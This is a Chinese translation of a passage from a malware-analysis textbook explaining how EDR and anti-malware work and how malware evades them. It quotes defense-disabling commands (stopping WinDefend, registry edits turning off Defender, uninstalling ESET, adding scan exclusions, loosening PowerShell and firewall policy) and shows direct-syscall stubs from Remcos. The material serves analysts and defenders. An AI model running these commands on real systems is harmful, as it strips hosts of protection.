在内核空间,EDR 解决方案主要以内核驱动程序或模块的形式存在,这些模块是执行在内核地址空间中的已编译代码。EDR 内核驱动程序依赖于回调,即内核组件注册的函数,用于接收特定事件的通知。例如,为了监控系统中的新进程,EDR 内核驱动程序通过调用内核函数 PsSetCreateProcessNotifyRoutine 注册一个回调例程。当进程被创建或终止时,EDR 内核驱动程序会收到通知,以便相应地作出响应,通常是通过调用其用户空间组件,将钩子注入新创建的进程中开始监控。图 13-4 展示了这一过程是如何工作的。

图 13-4: EDR 钩子注入
在这个示例中,EDR 内核驱动程序通过 PsSetCreateProcessNotifyRoutine(未显示)被通知到一个新的进程,malware.exe,正在被创建❶。EDR 驱动程序指示用户空间中的 EDR 代理(edr_agent.exe)❷将钩子注入到新创建的进程中❸。现在,malware.exe 正在被 EDR 监控。
下面是一些 EDR 软件可能使用的其他回调,以及触发它们的情况:
PsSetCreateThreadNotifyRoutine 当创建或删除任何新线程时,都会触发该回调。
PsSetLoadImageNotifyRoutine(Ex) 当进程将一个镜像(如 DLL 模块)加载到内存中,或者加载一个新驱动程序时,会触发该事件。
IoWMISetNotificationCallback 此事件由 Windows 管理工具(WMI)事件触发。
CmRegisterCallback(Ex) 当任何正在运行的线程修改 Windows 注册表时,会触发该事件。
FsRtlRegisterFileSystemFilterCallbacks 当某些文件系统操作发生时,会触发此事件。
IoRegisterBootDriverCallback 当一个新的启动驱动程序初始化时,会触发此事件。启动驱动程序在系统启动时启动,因此反恶意软件和 EDR 可以利用此回调检测使用启动驱动程序的根套件和启动套件(有关根套件的更多信息,请参见第十四章)。
EDR 还可以利用迷你过滤驱动。迷你过滤器用于监视来自用户空间进程的文件系统请求,因此 EDR 可以使用它们来拦截和阻止恶意文件系统操作(例如勒索软件以极快的速度打开和写入文件)。EDR 使用迷你过滤器的另一个原因是监视和保护其自身文件免受篡改或删除。如果恶意软件能够获得低级权限并尝试删除或修改 EDR 组件,迷你过滤驱动将会通知 EDR 产品此活动。
EDR 可能使用的其他内核组件包括网络过滤驱动和早期启动反恶意软件(ELAM)驱动。网络过滤驱动可用于监视、拦截和修改网络通信,这对于检测异常网络流量(如命令与控制(C2)流量)非常有用。ELAM 驱动在操作系统启动之前加载,有助于防止恶意软件篡改启动过程。
注意
你可能已经注意到,EDR 将模块注入到其他进程中,安装钩子以拦截 API 调用,并将驱动程序安装到内核空间,这和恶意软件非常相似!EDR 确实看起来和一种名为根套件的恶意软件变种非常相似。我们将在第十四章中更详细地讨论根套件技术和组件。
日志记录与分析
我之前提到过,EDR 代理的一个职责是将事件及相关数据转发到中央日志服务器,在那里它们可以被进一步分析并存储以备将来调查。图 13-5 展示了这一过程。

图 13-5:EDR 代理收集来自多个端点的数据进行分析
如你所见,运行在企业基础设施中不同端点上的 EDR 代理将数据转发到 EDR 日志聚合器。通过使用各种供应商特定的技术,数据被处理和分析,使 EDR 产品能够检测到更大规模的攻击。例如,使用这些遥测数据,一些 EDR 产品甚至能够“学习”特定企业环境中的正常情况,帮助它们进一步区分典型的终端用户行为和恶意活动。许多现代 EDR 解决方案还可以从许多不同的来源收集日志,以监控整个组织的 IT 基础设施。这些 EDR 解决方案有时被称为扩展检测与响应(XDR)平台。XDR 能够从客户端终端、服务器、网络设备、应用程序和云计算环境等来源收集并分析数据。在本书的其余部分,我将使用EDR一词,也包括 XDR。
尽管 EDR 具有所有的优势和功能,但它仍然可能被高级恶意软件绕过(有时确实如此)。现在你已经基本了解了 EDR 和反恶意软件的工作原理,让我们来看看恶意软件如何篡改并规避这些防御。高级恶意软件通常会首先尝试了解其运行的环境;这涉及到恶意软件侦察目标系统和网络,并试图识别挡在其面前的终端防御。我们从这里开始。
识别终端防御
由于许多反恶意软件和 EDR 产品在行为和监控系统的方式上有所不同,一个高级攻击者会在执行恶意软件载荷之前,至少对目标进行基本的侦察。攻击者可能会采用多种技术来枚举目标的防御。例如,以下 PowerShell 命令将检索主机上安装的反恶意软件列表:
PS C:\> Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
这是该命令的一些示例输出:
displayName : Windows Defender
instanceGuid : {D68BAD3A-821F-4fce-9E54-DA133F2CBA26}
pathToSignedProductExe : windowsdefender://
pathToSignedReportingExe : %ProgramFiles%\Windows Defender\MsMpEng.exe
productState : 397568
timestamp : Mon, 13 Feb 2023 18:29:52 GMT
`--snip--`
在我的系统上,Microsoft Defender 被识别为活动的反恶意软件产品。(此输出使用的是过时的名称Windows Defender;该产品已更名为 Microsoft Defender。)
尽管该命令只会检索已在 Microsoft 安全中心注册的反恶意软件,大多数反恶意软件供应商都会这样做。一个更强大的解决方案是枚举主机上的工件,寻找终端防御产品的迹象。
在第四章中,我们讨论了恶意软件如何列举并列出主机上运行的进程以进行沙箱和虚拟机检测。它也可以对防御进行同样的操作。例如,它可以调用 Windows API 函数 CreateToolhelp32Snapshot 创建受害主机上所有进程的“快照”,然后使用 Process32First 和 Process32Next 遍历这些进程。接着,它可以搜索可疑的进程名称,例如 MsMpEng.exe(Windows 10 和 11 的默认反恶意软件进程)、AvastSvc.exe(Avast 反恶意软件产品的可执行进程),或者任何名称中包含 falcon 字符串的进程(可能与 CrowdStrike Falcon EDR 产品相关),以确定主机上有哪些防御措施。
一些最流行的反恶意软件和 EDR 厂商及产品包括以下内容:
-
CrowdStrike Falcon EDR: CSFalcon.exe*
-
ESET Smart Security: Ekrn.exe
-
Kaspersky: Avp.exe
-
Malwarebytes: Mbam.exe
-
McAfee Endpoint Security: masvc.exe
-
Sophos: SavService.exe
-
Symantec Endpoint Protection: ccSvcHst.exe
-
VMware Carbon Black: cb.exe
-
Microsoft Defender for Endpoint(前身为 Windows Defender):MsMpEng.exe
这些进程通常会有相关的服务,它们的命名方式相似,恶意软件可以枚举它们。还需记住,列表并不全面,并且在软件版本之间可能会有所变化。
另外,扫描主机以查找与反恶意软件和 EDR 相关的文件、驱动程序和注册表项也很有效。图 13-6 显示了恶意软件样本查询注册表以匹配常见反恶意软件厂商的键值的 Procmon 输出。

图 13-6:恶意软件查询注册表以获取反恶意软件和 EDR 产品的名称
类似地,卡巴斯基的反恶意软件产品,例如,安装在类似于 C:\Program Files (x86)\Kaspersky Lab\Kaspersky Total Security 的目录中,并且在 C:\System32\drivers 目录下安装了多个驱动程序,这些驱动程序可能会让恶意软件注意到它的存在(参见图 13-7)。

图 13-7:卡巴斯基安装的驱动程序
有一些研究项目,如 https://
最后,已经在主机上运行的恶意软件可能会尝试查找其是否被反恶意软件或 EDR 勾取的迹象。例如,恶意软件可能会使用 Module32First 和 Module32Next 枚举其加载的模块(如 第七章 所描述),或者搜索其进程内存中的勾取迹象,正如它绕过沙箱勾取时所做的那样(如 第八章 所描述)。这些勾取可能暴露出特定的防御产品。
一旦检测到并识别出端点安全产品,恶意软件可以采取几种主动或被动的方式绕过它。首先,我们将讨论一些主动措施。
主动绕过端点防御
主动规避是通过完全禁用防御、修改策略使其变弱,或篡改它们以让其失效来直接绕过防御。这有许多种实现方式,让我们来看一些示例。
禁用主机防御
恶意软件规避和绕过端点安全的一种粗糙但有效的方法就是直接禁用它。恶意软件在枚举了端点上运行的安全产品后,可以通过几种方式禁用它们。首先,它可以尝试通过调用 TerminateProcess 函数,或使用 PowerShell 或 Windows 命令行等工具终止应用程序的进程(例如反恶意软件和 EDR 相关进程、Windows 安全中心进程和服务,以及任何防火墙产品,如 Windows 内置的主机防火墙)。
一些反恶意软件解决方案将其配置的部分存储在注册表中;篡改这些配置也可能导致不必要的结果。专门从事其名字所暗示的操作的恶意软件家族 KillAV (SHA256: 659ce17fd9d4c6aad952bc5c0ae93a748178e53f8d60e45ba1d0c15632fd3e3f),尝试通过停止进程和篡改注册表来禁用默认的 Windows 反恶意软件和威胁保护服务。以下是该恶意软件执行的一些命令:
net stop WinDefend
REG ADD "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v
"DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
REG ADD "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t
REG_DWORD /d "1" /f
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v Start /t REG_DWORD /d 4 /f
net stop WinDefend 命令终止 Microsoft Defender 进程,而各种 REG ADD 命令则篡改注册表以关闭 Microsoft Defender 实时监控服务、反间谍软件服务和 AV 启动驱动程序 (WdBoot),这些都是 Windows 默认反恶意软件服务的关键组成部分。
一些恶意软件通过使用如下的 PowerShell 命令,简单地尝试卸载主机上的防御软件:
PS C:\> $antimalware = Get-WmiObject -Class Win32_Product | Where-Object{$_.Name -eq "ESET
Endpoint Antivirus"}
PS C:\> $antimalware.Uninstall()
第一个 PowerShell 命令利用 WMI 枚举主机上安装的软件,特别查找 ESET 反恶意软件;第二个命令卸载该软件。
一种可能噪音较小的方法是降低端点防御进程的 优先级:即减少进程对操作系统的重要性。优先级较高的进程(通常是系统进程等关键进程)会分配更多的 CPU 时间。通过使用 SetPriorityClass 降低端点防御进程的优先级,恶意软件可以减少其效果。以下伪代码展示了这种方法:
// Open the target process (anti-malware process, for example).
hProcess = OpenProcess(..., ..., TargetProcessPID);
// Set process priority to "Low".
SetPriorityClass(hProcess, BELOW_NORMAL_PRIORITY_CLASS);
然而,这些技术有一个陷阱:根据操作环境的不同,恶意软件可能需要高权限才能终止反恶意软件进程和服务、篡改注册表配置和进程优先级,并卸载软件。在这种情况下,恶意软件必须提升其权限,然后才能尝试禁用端点防御。我们将在 第 248 页 的“防御规避的权限提升”部分中查看它是如何做到的。
添加反恶意软件排除项
另一种削弱防御的方法是篡改反恶意软件的排除列表。反恶意软件会定期扫描端点上的特定文件系统目录,这些目录由用户或组织配置软件时决定。大多数反恶意软件允许用户在其配置设置中添加排除项,通常以目录路径的形式。这些排除列表中的任何文件或目录都不会被监控或扫描。
为了使用这种技术,初始的投放者或加载器恶意软件会在受害主机上创建一个排除项,一旦该排除项启用,它会将有效载荷部署到排除的目录中。以下是恶意软件如何使用 PowerShell 在 Microsoft Defender 反恶意软件解决方案中创建排除项的示例:
PS C:\> Add-MpPreference -ExclusionPath "C:\Malware\DoNotScanThisDirectory"
此命令为路径 *C:\Malware\DoNotScanThisDirectory* 添加反恶意软件排除项。
请注意,在 Windows 的后续版本中,恶意软件必须具有高权限才能在受害主机上创建排除项,这使得这种攻击的入侵门槛比旧版本操作系统更高。
禁用其他安全控制
除了禁用反恶意软件、EDR 和其他防御措施外,恶意软件还可以禁用系统的其他安全功能。虽然这些安全功能可能不会直接防止攻击,但禁用它们会降低主机的整体安全性,使其更容易受到进一步攻击。
例如,恶意软件可能禁用 Windows 更新服务,该服务负责定期更新 Windows,以修补漏洞和漏洞。如果威胁行为者在不引人注意的情况下禁用了此服务,最终可能会在较长时间内削弱主机的整体安全性,使系统容易受到后续攻击。要使用 PowerShell 禁用服务,恶意软件可以执行以下命令:
PS C:\> Stop-Service "Service_Name"
恶意软件还可能禁用 PowerShell 安全性。一些 Windows 环境禁止执行未经授权的 PowerShell 脚本,因此关闭脚本执行控制可能有助于攻击者执行他们原本无法执行的 PowerShell 脚本。要启用 PowerShell 脚本执行,攻击者可以执行以下命令:
PS C:\> Set-ExecutionPolicy Unrestricted
为了防止未经授权的出站流量从端点传出,通常会配置基于主机的防火墙解决方案。基于主机的防火墙可以用于允许特定进程(如 web 浏览器)的出站流量,同时防止不应与任何其他主机或互联网通信的进程的出站流量。为了绕过这个限制,攻击者可以直接修改主机上的防火墙配置。根据使用的防火墙软件不同,这种配置有所不同,但对于标准的 Windows 防火墙,可以通过 PowerShell 添加或修改规则。例如,恶意软件可以使用以下命令将默认的防火墙策略更改为允许所有进程的所有出站流量:
PS C:\> Set-NetFirewallProfile -Name Domain -DefaultOutboundAction Allow
恶意软件还可以禁用与安全性无关的工具,这些工具可能被用来暴露它。例如,终止和禁用 Windows 任务管理器,以防止谨慎的用户发现可疑的正在运行的进程,或者禁用注册表编辑器,以防止有经验的系统管理员在注册表中识别恶意遗留物。
在 Windows 系统上,攻击者可以更改许多策略和配置来削弱安全性;这些仅是一些例子。关键要点是,威胁行为者可能不会尝试完全禁用终端防御,如反恶意软件和 EDR,而是可能采取一种较间接的方法,通过对系统进行轻微调整来实现其目标。然而,这是一把双刃剑;恶意软件对系统的修改越多,它被检测到的机会就越高。
通过解除挂钩来致盲防御
由于 EDR 和现代反恶意软件严重依赖钩子来监控可疑进程以及检测和防止威胁,解除钩取技术可能会为它们创造盲点。在第 137 页“反钩取”部分中概述的解除钩取方法对于某些 EDR 和反恶意软件软件可能有效,但高级主机防御已经在期待这些方法。这些防御可能会使用它们安装的内核组件在内核级别监控自己的钩子,而恶意软件则可能篡改并解除终端防御的钩取。
恶意软件作者与主机防御之间的猫鼠游戏在这里表现得非常明显。终端保护软件监控并钩取恶意软件。恶意软件扫描这些钩子,并解除钩取,或尝试通过其他方式绕过它们。作为回应,终端保护产品会检查它们是否已被解除钩取,循环继续。尽管如此,终端防御在此处还是有一定优势的。如果程序试图移除钩子,EDR 或反恶意软件软件可以在一定程度上推测该进程是恶意的,因为几乎没有正当理由去解除钩取。
如本章前面所提到的,终端防御可能会使用其他系统监控源,如 ETW,来补充传统的基于钩取的监控。这些数据源也可能以各种方式被盲化;事实上,已经有相当多的研究针对 ETW 盲化。这可以通过多种方式实现,其中一种方法是钩取或修补EtwEventWrite,该函数对 ETW 的操作至关重要。
利用主机防御工具中的漏洞
反恶意软件、EDR 和其他防御系统是由人类开发的,而人类会犯错,因此,产品代码中不可避免地会存在漏洞,威胁行为者可以利用这些漏洞。尽管公开报告的利用防御工具的攻击尝试并不多,但这始终是一种可能性,特别是对于那些具备发现这些漏洞的手段和能力的威胁行为者。快速搜索 MITRE CVE 漏洞数据库(https://

图 13-8:MITRE 报告的反恶意软件产品中的漏洞
此列表包括在 Watchdog、Kaspersky 和 F-Secure 产品的反恶意软件引擎中发现的漏洞。列出的漏洞大多数是拒绝服务(DoS)漏洞,可能允许特制的代码使反恶意软件引擎崩溃或以其他方式妨碍其有效性。
这总结了我们对主动规避技术的探讨。接下来,我们将讨论被动规避,它可以是一种更加隐蔽且同样有效的方法。
被动规避端点防御
被动规避技术通过不直接篡改防御措施来悄悄绕过宿主防御。如你所见,这些方法与主动技术一样有效,却不会引发太多警报。
规避监控
第八章讨论了恶意软件如何规避 API 钩子和监控,从而试图逃避沙盒。恶意软件可以使用类似的技术来规避端点防御。由于端点防御也依赖于函数钩子来拦截和监控可疑活动,规避和绕过这些钩子通常是让它们失效的有效方式。
由于反恶意软件和 EDR 监控各种 Windows API 调用以检测恶意活动,一种规避措施是实现直接系统调用,即从用户模式直接调用内核地址空间,绕过典型的系统调用程序。具体来说,当程序在用户模式下调用 API 函数时,操作系统会发起一个系统调用进入ntosknrl.exe以访问该函数的代码(见图 13-9)。

图 13-9:正常的系统调用行为
然而,恶意软件并不依赖于常规的 Windows 和 NT API 调用过程,而是可以直接发起系统调用(见图 13-10)。

图 13-10:直接系统调用
系统调用遵循一种基本模式,称为系统调用存根。存根的目的是将执行流从用户模式转移到内核模式,在内核模式下被调用的函数的代码实际上驻留在其中。以下代码展示了一个针对NtAllocateVirtualMemory函数的系统调用存根:
mov r10, rcx
mov eax, 18
test byte ptr ds:[7FFE0308], 1
jne ntdll.7FF80B57C3C5
syscall
ret
存根中最重要的部分是 mov eax, 18 这一行,其中 18 代表 系统服务号(SSN),有时也称为 系统调用号 或 系统调用 ID。这个数字映射到将以内核模式调用的函数代码(在本例中为 NtAllocateVirtualMemory)。存根中下一个最重要的部分是 syscall 指令(十六进制,0F 05),它使用 eax 寄存器中的 SSN 将执行流指向相应的内核函数。返回(ret)指令会将执行流转回主程序代码,一旦系统调用返回并完成。
注意
我们目前讨论的系统调用存根特定于 x64 架构。x86 程序通常使用不同的调用: sysenter。sysenter 存根非常相似:
mov edx, esp
sysenter
ret
mov edx, esp 指令将 SSN(存储在 ESP 中)移动到 EDX 中,并将其传递给 sysenter 指令(十六进制 0F 34)。请注意,一些 x64 程序也使用 sysenter 调用。
如果恶意软件想要直接发起系统调用(以避免 EDR 或反恶意软件钩子),它只需要知道要调用的函数的 SSN(系统服务号),然后直接调用该系统调用。听起来很简单,但恶意软件作者可能会面临一些障碍;最明显的是,函数的 SSN 会根据目标主机的 Windows 版本和补丁级别而变化。为了解决这个问题,恶意软件作者有几个选择。一个选择是从内存中加载的 ntdll.dll 中提取 SSN(请参见 图 13-11)。

图 13-11:已加载的 ntdll.dll 模块中的系统调用存根
图 13-11 展示了加载到内存中的 ntdll.dll 系统调用存根的样子。注意一些导出 ntdll.dll 函数的 SSN 被高亮显示。恶意软件可以检查其加载的模块,定位相关的系统调用存根,并识别它所需的 SSN。一旦获取到它想要调用的函数的 SSN,恶意软件就可以自定义系统调用存根,从而绕过 ntdll.dll 的标准系统调用调用。以下代码展示了在 Remcos 的一个变种中使用系统调用(更准确地说,是 sysenter)的方式(SHA256: 45cd8dd797af4fd769eef00243134c46c38bd9e65e15d7bd2e9b834d5e8b3095):
`--snip--`
sub_1D29 proc near
push 2BC12D2Eh
call resolve_ssn ; NtMapViewOfSection
call invoke_sysenter
retn 28h
`--snip--`
sub_1D3B proc near
push 3ACFFF22h
call resolve_ssn ; NtWriteVirtualMemory
call invoke_sysenter
retn 8
`--snip--`
sub_1D4D proc near
push 7C9B2C0Bh
call resolve_ssn ; NtResumeThread
call invoke_sysenter
retn 8
`--snip--`
这个 Remcos 示例通过枚举磁盘上的 ntdll.dll 文件(此处未展示)来解析它希望调用的函数的 SSN。然后,它调用包含标准 sysenter 存根的函数。具体来说,这个 Remcos 示例试图通过直接发起 sysenter 调用来隐秘地将代码注入到另一个进程中,从而调用 NtMapViewOfSection、NtWriteVirtualMemory、NtResumeThread 等函数。
这种方法的一个问题是,这些系统调用并不是来自它们预定的模块 ntdll.dll。对于寻找此类异常的端点防御系统来说,这可能是一个显而易见的提示。一个更为隐蔽的选项,有时被称为 间接 系统调用,是恶意软件作者直接重用 ntdll.dll 中的系统调用,而不是自定义自己的系统调用存根。为了实现这一点,恶意软件识别出它希望调用的函数在 ntdll.dll 中的系统调用存根地址。然后,恶意软件不再调用例如 NtMapViewOfSection 函数,而是实现一个 jmp 指令,直接跳转到 ntdll.dll 中的该系统调用存根。
这些只是恶意软件作者可能用来绕过端点防御系统所安装的钩子的几种技巧。然而,这些技巧并非万无一失。如你所见,许多方法会产生可疑的迹象(枚举 ntdll.dll 内存、直接从恶意软件代码中调用系统调用、直接跳转到 ntdll.dll 等)。不仅如此,许多现代端点防御还会钩住内核,试图检测这种类型的活动。
使用系统调用调用进行规避是一个有趣的话题,因此,如果你有兴趣了解更多,建议参考以下文献:
-
Usman Sikander,“使用直接系统调用绕过 AV/EDR(用户模式与内核模式),” Medium,2022 年 3 月 11 日,https://
medium 。.com /@merasor07 /av -edr -evasion -using -direct -system -calls -user -mode -vs -kernel -mode -fad2fdfed01a -
Cornelis,“红队战术:结合直接系统调用和 sRDI 绕过 AV/EDR,” Outflank,2019 年 6 月 19 日,https://
www 。.outflank .nl /blog /2019 /06 /19 /red -team -tactics -combining -direct -system -calls -and -srdi -to -bypass -av -edr / -
红队笔记,“直接从 Visual Studio 调用系统调用以绕过 AVs/EDRs,” 红队笔记,无日期,https://
www 。.ired .team /offensive -security /defense -evasion /using -syscalls -directly -from -visual -studio -to -bypass -avs -edrs
规避基于签名的检测
正如我们所讨论的,反恶意软件使用基于签名的检测机制,这意味着它会寻找常见的模式来识别文件和内存中的恶意代码。恶意软件通常包含硬编码在其可执行文件中的字符串、函数名称,或者驻留在内存中的 DLL 和模块名称,这些都可能暴露其存在。因此,简单地修改这些字符串、函数和模块名称,通常可以显著降低被检测的概率,至少是针对传统的反恶意软件解决方案来说。这是滥用基于签名的反恶意软件检测的最基本方法之一,但现代恶意软件需要更复杂的规避技术来应对更先进的反恶意软件解决方案。这就是变异技术的作用所在。
变异是恶意软件为了规避检测或适应其环境而改变其特征和代码的能力。通过变异,恶意软件的目标是对代码进行足够的修改,以避开雷达监控,同时保留其基本功能。为了帮助你更好地理解变异,我们来看看一个典型恶意软件样本的生命周期。
一些恶意软件作者,尤其是网络犯罪团伙,会将恶意软件“垃圾邮件”发送给数百或数千个潜在受害者,期望能诱使一些毫无防备的人执行它。一旦足够多的受害者被某种恶意软件感染,调查人员不可避免地会获得该样本并为其开发检测规则,这些规则随后会被实施到反恶意软件引擎和其他防御技术中。这将迅速减少任何恶意软件的生命周期。然而,这不仅适用于大规模垃圾邮件恶意软件;它同样适用于更有针对性的恶意软件。如果恶意软件能够在受害者主机上变异,它也可能像这样逃避检测。
有不同形式的变异,比如 代码块重排,在这种方式中,代码被移位并重新排序,以创建恶意软件的新“变体”;还有 寄存器重新分配,即更改 CPU 寄存器(例如,将所有 ECX 寄存器引用改为 EDX)。这些由 变异引擎 实现的恶意软件代码变异,能够显著改变代码的结构和特征。下面是一个非常简单的变异示例,展示了汇编代码如何在功能上相同但外观不同:
mov eax, 0
add eax, 1
这个示例代码块简单地将 eax 寄存器设置为 0,然后将 eax 设置为 1。将其与下面的代码进行比较:
xor eax, eax
inc eax
这段代码也将 eax 设置为 0(但使用 xor 指令,而不是 mov 指令),然后将 eax 设置为 1(使用 inc 指令,而不是 add)。如果这段代码是实际的恶意代码,反恶意软件软件可能已经为其中一个代码块建立了检测特征,但可能没有对另一个代码块进行检测。当然,在现实世界中,这段代码会复杂得多。
变异可以在运行时动态发生,也可以在恶意软件文件本身发生。运行时变异发生在恶意软件在受害者系统上执行时。恶意软件可能会在内存中动态修改其代码,以规避扫描内存中恶意代码模式的防御机制。恶意软件文件本身的变异发生在恶意软件被传递给受害者之前。恶意软件作者可能会通过变异引擎运行其代码,生成相同恶意软件的不同变种,并将这些变种传递给不同的受害者。打包器(packers),我将在第十七章中详细讨论,既可以是运行时变异,也可以是静态文件变异。当恶意软件通过打包引擎运行时,它会被混淆,使其看起来与该恶意软件家族的所有其他变种都不同。
类似病毒的勒索软件家族 Virlock 是变异的一个很好的例子。当 Virlock(SHA256: 7a92e23a6842cb51c9959892b83aa3be633d56ff50994e251b4fe82be1f2354c)在受害者系统上执行时,它会在内存中解密三个自己的实例,并将它们作为文件丢到磁盘上。这三个实例与其他所有 Virlock 恶意软件样本不同,并且具有不同的签名。这确保了恶意软件能够保持未被检测到,至少对于依赖哈希值和基本文件签名进行检测的反恶意软件引擎来说是如此。
使用不常见的编程语言
为了规避终端防御,恶意软件作者可能会使用不常见或罕见的编程语言来开发恶意软件。反恶意软件程序可能不熟悉这些语言中的代码和数据结构,因此它需要时间才能跟上其特征码和启发式检测。不常见或新的编程语言也可能对恶意软件分析师和逆向工程师造成挑战,因为他们期望看到的是更典型的恶意软件代码,如 C 或 C++。此外,许多这些不常见的语言可以跨不同操作系统使用。例如,为 Windows 编写的程序只要受害者系统安装了所需的库,也可以在 macOS 或 Linux 上运行。这使得恶意软件在不同操作系统之间更具抗性。
使用不常见的编程语言并不是一种新技术。早期的恶意软件通常是用 C 语言编写的,但恶意软件作者开始使用.NET 框架(如 C#),该框架至今仍非常流行。然而,反恶意软件和其他防御措施已经迎头赶上,因此恶意软件作者正在适应并且越来越多地使用其他编程语言。Python 作为一种非常常见的脚本语言,在恶意软件中得到了更多的应用,既可以用于脚本也可以用于可执行文件。恶意软件作者只需编写一个恶意的 Python 脚本(.py),该脚本可以在任何安装了正确 Python 库的系统上执行。工具如 Py2Exe 和 PyInstaller 甚至可以将 Python 脚本转换成可执行文件,攻击者可以像处理标准 PE 文件一样将其部署到受害者的机器上。由于编写一个恶意的 Python 脚本并将其转换为可执行文件相对简单,这种方法降低了恶意软件作者的门槛。
Nim(https://
Go(有时称为 Golang)是 Google 推出的一种开源语言。它比其他编译语言(如 C 语言)更易于编程,因此它在恶意软件中的使用增加也就不足为奇了。Rust(https://
滥用证书信任和签名
数字签名是一种受信任的证书,作为文件的批准标志,通知操作系统和其他应用程序该文件是合法且可以安全执行的。许多反恶意软件解决方案对由已知且受信任的机构数字签名的文件审查较少。因此,恶意软件可以滥用证书信任链来绕过端点防御。
证书信任存储是 Windows 存储其信任的签名者证书的库。您可以使用 certmgr 应用程序查看 Windows 中的信任存储(该应用程序可以在C:\Windows\System32中找到),如图 13-12 所示。

图 13-12:使用 certmgr 查看 Windows 中的信任存储
恶意软件作者可以通过几种方式使用受信证书对其代码进行数字签名。首先,如果攻击者渗透了受信任公司网络,它可以生成有效的证书并用这些证书签名自己的恶意软件,或者它可以窃取证书并用这些证书对其恶意代码进行数字签名。事实上,这种情况曾多次发生,例如 2022 年从 Nvidia 盗取代码签名证书时(请参见 Pieter Arntz 的文章《盗用 Nvidia 证书用于签名恶意软件——该如何应对》:https://
其次,在某些情况下,可以将恶意代码插入到一个已经签名的可执行文件中,而不会使证书失效。这在 2016 年 Black Hat 大会上由研究人员展示(请参见 Deep Instinct 研究团队的报告《证书绕过:隐藏和执行来自数字签名可执行文件的恶意软件》:https://
最后,恶意软件可以简单地将证书添加到操作系统的受信证书列表中。这说起来容易做起来难:恶意软件必须已经在具有高权限的主机上运行。但如果成功,恶意软件的作者可能能够在主机上运行他们希望运行的任何额外恶意软件。
滥用引擎限制
如前所述,反恶意软件(以及具有内建反恶意软件功能的 EDR 软件)面临着平衡高检测率与终端用户体验的艰巨任务。这意味着,首先,它必须在检测恶意代码时具有高成功率,同时还要限制误报。此外,反恶意软件的扫描和监控活动必须对终端用户透明。这些扫描不应影响用户体验到使系统无法使用或不稳定的程度。狡猾的恶意软件作者可以利用这些限制,采用各种技术,其中两个例子就是延迟执行和内存炸弹。
与一些恶意软件通过延迟执行来规避沙盒内的检测(如第八章所讨论的)类似,它可能也能够“延迟”反恶意软件扫描引擎的检测。它可能通过等待特定的毫秒数过去来实现这一点。例如,当 600,000 毫秒(即 10 分钟)过去后,样本执行其恶意代码。由于反恶意软件引擎可能对其仿真或沙盒引擎设置了时间限制(以防止反恶意软件引擎无休止地分析大文件并消耗宝贵的系统资源),这种技术有时能够让恶意软件未被检测到地悄然通过。
内存炸弹,这一术语由 Uriel Kosayev 和 Nir Yehoshua 在其著作《病毒防护绕过技术》(Packt,2021)中提出,指的是恶意软件在其进程地址空间内分配过大的内存区域。由于反恶意软件必须考虑系统资源的消耗(如 CPU、内存等),它可能仅快速扫描这块大内存区域,甚至完全忽略它,从而使恶意代码未被发现。请注意,这一技术对于沙盒环境也可能有效。
伪装成一个安全文件
伪装是恶意软件作者用来将恶意软件伪装成合法文件的技术。这一技术主要作为欺骗受害者的手段,而不是直接绕过终端防御。伪装有多种形式,包括以下几种:
伪造文件名
恶意软件作者仅仅将恶意文件命名为常见的系统文件或合法应用程序文件的名字(例如explorer.exe或PowerPoint.exe),或者稍微修改文件名(如expl0rer.exe)。恶意软件作者还可能将恶意文件的扩展名更改为更不起眼的类型,比如将.exe文件重命名为.jpg文件。
伪造文件元数据
恶意软件作者伪造恶意文件的元数据,例如使用“Microsoft”作为文件的发布者或公司名称。类似的技术还包括重用合法程序的图标。例如,恶意软件可能使用 Microsoft Word 的图标,使其恶意文件看起来像合法文件。
执行社交工程攻击
恶意软件作者通过欺骗用户执行恶意软件,例如,向目标用户发送一封带有名为important_invoice.pdf的恶意文件的电子邮件。类似的技巧是使用双扩展名。默认情况下,Windows 不显示文件扩展名,因此文件financials.xls.exe在 Windows 中会显示为 financials.xls。这可能会误导毫无戒心的人启动一个恶意的可执行文件。
尽管伪装是一种相对简单且成本低廉的技术,但它可以非常有效。特别是,ESET 的研究人员报告称,沙虫(Sandworm)威胁组织向乌克兰的受害者发送了伪装成 IDA Pro 反汇编工具组件和 ESET 自家安全软件的恶意软件(见 Kelly Jackson Higgins 文章《沙虫 APT 在追踪其痕迹时戏弄研究人员,目标锁定乌克兰》,网址为 https://www.darkreading.com/threat-intelligence/sandworm-apt-trolls-researchers-on-its-trail-while-it-targets-ukraine)。另一个显著的伪装案例是恶意软件模仿知名组织撰写的文档,如 2022 年 Proofpoint 报告的世界卫生组织发布的关于 COVID-19 的信息(见 Andrew Northern 等人的文章《Nerbian RAT 使用 COVID-19 主题,具备复杂的规避技术》,网址为 https://www.proofpoint.com/us/blog/threat-insight/nerbian-rat-using-covid-19-themes-features-sophisticated-evasion-techniques)。
到目前为止,我们已经探讨了恶意软件如何通过积极篡改或被动绕过主机防御来规避它们。现在,让我们稍微转变一下思路,探讨权限提升及其如何被恶意软件用来执行那些可能会被终端防御检测并阻止的操作。
用于防御规避的权限提升
权限提升,即获得比当前更高的权限级别,是一种强大的规避策略。在主机上获得高权限级别后,攻击者将拥有更多自由,能够执行绕过终端防御的进一步攻击。正如你所看到的,执行某些操作(如禁用反恶意软件或修改防火墙配置)需要高权限级别。虽然有很多方式可以提升权限,本节将重点介绍现代恶意软件中四种最常见的技巧:UAC 绕过、访问令牌伪装和操控、凭据重用和直接利用。
绕过用户帐户控制
用户帐户控制(UAC)是 Windows 中的一种保护控制,旨在防止未经授权的应用程序以高权限级别执行代码。当应用程序请求管理员访问权限时,系统中的管理员必须同意此请求(参见图 13-13)。

图 13-13:典型的 UAC 弹出窗口
当管理员同意时,应用程序的进程完整性级别会提高到“高”。最常见的完整性级别(高、中、低和系统)帮助决定一个进程能做什么以及不能做什么。高完整性进程在提升模式下运行,并可以访问分配给较低完整性级别的对象。中完整性进程以标准用户权限运行;这是大多数进程的默认设置。低完整性进程具有最低权限级别,通常用于诸如 Web 浏览器等应用程序,这些程序应出于安全原因在类似容器的环境中运行。系统完整性进程是对操作系统稳定性至关重要的进程;这些包括服务控制管理器(services.exe)和 Windows 子系统进程(csrss.exe)。按照设计,较低完整性级别的进程无法修改具有更高完整性级别进程中的数据。
